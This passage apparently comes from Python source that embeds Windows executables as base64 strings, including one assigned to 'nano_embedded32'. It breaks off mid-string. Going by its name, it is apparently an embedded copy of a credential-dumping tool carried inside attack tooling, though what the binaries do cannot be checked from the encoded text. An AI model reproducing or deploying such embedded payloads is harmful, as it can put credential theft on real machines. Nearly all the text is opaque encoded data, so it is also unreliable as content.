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b24AAHYCR2V0TGFzdEVycm9yAADMAkdldFByb2Nlc3NIZWFwAADnAkdldFN0YXJ0dXBJbmZvQQBfA0hlYXBBbGxvYwBlA0hlYXBGcmVlAAB8A0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb24AlwNJc0RCQ1NMZWFkQnl0ZUV4AADYA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAMBE11bHRpQnl0ZVRvV2lkZUNoYXIAcgVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAggVTbGVlcAClBVRsc0dldFZhbHVlANQFVmlydHVhbFByb3RlY3QAANYFVmlydHVhbFF1ZXJ5AAALBldpZGVDaGFyVG9NdWx0aUJ5dGUAOABfX0Nfc3BlY2lmaWNfaGFuZGxlcgAAQABfX19sY19jb2RlcGFnZV9mdW5jAEMAX19fbWJfY3VyX21heF9mdW5jAABSAF9fZ2V0bWFpbmFyZ3MAUwBfX2luaXRlbnYAVABfX2lvYl9mdW5jAABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAABsBX2luaXR0ZXJtAIEBX2xvY2sAJwJfb25leGl0ALICX3RpbWU2NADHAl91bmxvY2sACANfd2NzaWNtcAAAhQNhYm9ydACSA2F0b2kAAJYDY2FsbG9jAACjA2V4aXQAALcDZnByaW50ZgC5A2ZwdXRjAL4DZnJlZQAAywNmd3JpdGUAAPQDbG9jYWxlY29udgAA+gNtYWxsb2MAAP0DbWJzdG93Y3MAAAEEbWVtY21wAAACBG1lbWNweQAABARtZW1zZXQAABYEcmFuZAAAIgRzaWduYWwAACsEc3JhbmQANwRzdHJlcnJvcgAAOQRzdHJsZW4AADwEc3RybmNtcAA9BHN0cm5jcHkAQARzdHJyY2hyAEEEc3Ryc3BuAABeBHZmcHJpbnRmAAB4BHdjc2xlbgAAeQR3Y3NuY2F0AHwEd2NzbmNweQCDBHdjc3N0cgAAAAAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAACAAQAAgAEAAIABAEtFUk5FTDMyLmRsbAAAAAAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQAUgAEAFIABABSAAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMBEAQAEAAAAAAAAAAAAAAAAAAAAAAAAAEBAAQAEAAAAAAAAAAAAAAAAAAAAAAAAAUJEAQAEAAAAgkQBAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AAADAAAAOinAAAAAAEAHAAAABCgcKCAoJCgoKCwoLigwKDIoNCgABABABQAAADgrACtCK0QrRitAAAAIAEARAAAAKCjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKUAAACQAQAQAAAACKAgoDigQKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==") - self.nano_embedded32 = base64.b64decode("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